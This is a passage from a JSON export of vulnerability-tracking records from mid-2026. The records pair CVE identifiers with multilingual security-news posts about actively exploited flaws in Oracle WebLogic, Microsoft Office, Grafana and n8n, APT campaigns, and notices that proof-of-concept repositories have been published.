\u043d\u0430\u0445\u043e\u0434\u043a\u0438:\n\n\u2022 Hive0117 \u043f\u0435\u0440\u0435\u0448\u043b\u0430 \u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 C2 \u0447\u0435\u0440\u0435\u0437 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d Bitcoin \u2014 \u0430\u0434\u0440\u0435\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 OP_RETURN-\u0432\u044b\u0445\u043e\u0434\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0438 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0442\u0435\u043b\u0435 \u043e\u0431\u0440\u0430\u0437\u0446\u0430.\n\n\u2022 CloudAtlas \u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0437\u0430 oEmbed-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 WordPress-\u0441\u0430\u0439\u0442\u044b.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0442\u0447\u0435\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435 \ud83e\udef2\n\n#TI #APT #Malware #Phishing \n@ptescalator", "creation_timestamp": "2026-07-23T00:00:23.408867Z"}, {"uuid": "f870f936-e7bc-47a8-858a-28d8fcd3152e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/GithubRedTeam/94450", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a n8n-cve-2026-21858\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a qianlijaingshan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 08:56:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21858 + CVE-2025-68613 \u2014 n8n unauthenticated file read to RCE exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-23T04:00:06.862398Z"}, {"uuid": "672d079b-0518-46d4-93d1-bbafb256c0a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21723", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrbxh45kxz2u", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-21723](https://grafana.com/security/security-advisories/cve-2026-21723)\nThe alertmanage...\nhttps://grafana.com/security/security-advisories/cve-2026-21723 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-23T04:04:27.730933Z"}, {"uuid": "ff868003-4ade-451c-ad01-fee50948f131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "Telegram/lyQjgrzss-14q92fKQzooVmz9KnQq83SmXqNbV8WBn3n-CQ", "content": "", "creation_timestamp": "2026-07-23T11:00:03.494501Z"}, {"uuid": "c5eb11dc-97a3-4b04-9913-bca8f141ca90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99891", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21962\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeetee1235\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 03:01:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:01:00.609907Z"}, {"uuid": "8d66beee-12e5-4688-b11e-b8465beee740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/information_security_channel/55796", "content": "CISA Warns of Exploited Oracle WebLogic Vulnerability\nhttps://www.securityweek.com/cisa-warns-of-exploited-oracle-weblogic-vulnerability/\n\nThe vulnerability is tracked as CVE-2026-21962 and it has been widely exploited by threat actors against WebLogic servers.\nThe post CISA Warns of Exploited Oracle WebLogic Vulnerability (https://www.securityweek.com/cisa-warns-of-exploited-oracle-weblogic-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-08-26T00:00:08.525217Z"}, {"uuid": "aaf687ed-987e-4310-8bfa-28af99a78c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/pphm_HackerNews/2838", "content": "\ud83d\udd34 Actively Exploited Oracle WebLogic Flaw Lets Unauthenticated Attackers Access Critical Data\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a maximum-severity security flaw impacting Oracle HTTP Server and Oracle WebLogic Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\n\nThe vulnerability, tracked as CVE-2026-21962 (CVSS score: 10.0), allows an unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server and Oracle WebLogic Server Proxy Plug-in. Successful exploitation of the flaw can lead to unauthorized access to the instances or modification of critical data.", "creation_timestamp": "2026-08-26T00:00:10.194885Z"}, {"uuid": "63cb799c-e710-4f32-ba42-d768b542d67e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/kasperskyb2b/2300", "content": "\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e \n\n\ud83d\udd35APT GOFFEE/Paper Werewolf \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 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\u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0441 WarpRAT \u043f\u043e \u043e\u0431\u0449\u0435\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e \u043e\u043a\u043e\u043b\u043e 120 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u043c\u0430\u0448\u0438\u043d\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0438 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440\u0435.\n\n\ud83d\udfe3\u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0443\u0433\u0440\u043e\u0437 SilkParasite \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0441\u0435\u043c\u044c \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432 RAT, \u043f\u044f\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c. \u0418\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0423\u0437\u0431\u0435\u043a\u0438\u0441\u0442\u0430\u043d\u0435, \u0422\u0443\u0440\u043a\u043c\u0435\u043d\u0438\u0441\u0442\u0430\u043d\u0435 \u0438 \u041a\u0430\u0437\u0430\u0445\u0441\u0442\u0430\u043d\u0435. \u0418\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 .NET, C++, Go \u0438 JavaScript \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 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PaperCut \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 27 \u0430\u0432\u0433\u0443\u0441\u0442\u0430, \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \n\n\u26aa\ufe0f\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Oracle WebLogic, \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0435\u0449\u0451 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0441\u0440\u0435\u0434\u0430\u043c. CVE-2026-21962 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 WebLogic. CISA \u0432\u043d\u0435\u0441\u043b\u0430 \u0435\u0435 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\n\ud83d\udfe3\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0434\u043b\u044f Android \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c HookBot \u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u0443\u0442\u0435\u043a\u0448\u0435\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 ERMAC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u043b \u043e\u0442 Cerberus. \u0412 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u043b\u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0441\u0435 \u044d\u0442\u0438 \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-08-31T10:00:02.813137Z"}, {"uuid": "feb47d28-d6d5-47bb-a0ae-b1ece923f3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mtuoubr64h2k", "content": "CISA warned that the CVE-2026-21962 Oracle flaw with a CVSS 10 score is actively exploited in the wild. Patch Oracle Fusion Middleware systems now.\n\n#Oracle #CVE202621962 #CyberSecurity #CISA #Vulnerability", "creation_timestamp": "2026-08-25T01:41:44.828367Z"}, {"uuid": "8c539dfe-8617-4d17-81ae-e6ca19f65590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/CyberDispatch/675", "content": "Russia-linked APT28 exploited a newly disclosed Microsoft Office flaw within days of disclosure.\n\nCVE-2026-21509 was used via malicious RTF files, with geo-fenced delivery targeting Ukraine, Slovakia, and Romania.", "creation_timestamp": "2026-08-29T20:00:22.341685Z"}, {"uuid": "b3b7ffae-72f2-4d13-9ebe-d997af2a7e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-22)", "content": "", "creation_timestamp": "2026-08-23T10:15:12.939052Z"}, {"uuid": "9491df9d-127e-40d4-adad-63ca8e0d2bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/billingsley.bsky.social/post/3mu7gaj3ta22g", "content": "COGNOSCERE Tech Brief \u2014 2026-08-29\n\nCISA ordered federal agencies to patch CVE-2026-21962, a CVSS 10.0 authenticatio\n\nhttps://www.cognoscerellc.com/news", "creation_timestamp": "2026-08-29T08:06:52.006053Z"}, {"uuid": "724ecd39-73fe-45a1-96c1-3fb9a21784b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21723", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116971989915718782", "content": "Our CTI team identified a lot of activities targeting Grafana (CVE-2026-21723) https://vuldb.com/vuln/382465/cti", "creation_timestamp": "2026-07-23T23:55:20.860327Z"}, {"uuid": "d0afcca4-afbe-46d7-88eb-a7e2271d74c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "Telegram/lyQjgrzss-14q92fKQzooVmz9KnQq83SmXqNbV8WBn3n-CQ", "content": "", "creation_timestamp": "2026-07-24T00:00:09.129531Z"}, {"uuid": "9cbecca3-4c8f-43fa-9798-9bec15791e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94450", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a n8n-cve-2026-21858\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a qianlijaingshan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 08:56:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21858 + CVE-2025-68613 \u2014 n8n unauthenticated file read to RCE exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-24T00:00:10.303528Z"}, {"uuid": "0d54a452-567a-4b22-a00a-75d024acf462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/true_secator/8438", "content": "Eclypsium \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 InfraTrust - \u043d\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0435\u0436\u0435\u043c\u0435\u0441\u044f\u0447\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 InfraTrust Pulse, \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043c\u043e\u0447\u044c \u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435, \u0441\u0435\u0442\u0438 \u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0435\u0434\u0443\u0449\u0438\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0438\u0441\u043a\u0430.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c InfraTrust Pulse \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 61 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043e\u0442 14 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u0438 26 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u0432\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0440\u044f\u0434 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0438\u043b\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 KEV CISA.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d \u0440\u044f\u0434 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0443\u0436\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 SonicWall \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SMA1000\u00a0(CVE-2026-15409 \u0438 CVE-2026-15410), \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0434\u0435\u043b\u044c \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0431\u044b\u043b\u0438\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV CISA.\n\n\u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 Fortinet FortiSandbox (FG-IR-26-100 \u0438 FG-IR-26-141) \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0434\u0432\u0435 \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 (CVE-2026-39808 \u0438 CVE-2026-25089). \u041e\u043d\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0438 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u043f\u043e\u0437\u0436\u0435, 16 \u0438\u044e\u043b\u044f, \u043f\u043e\u0441\u043b\u0435\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 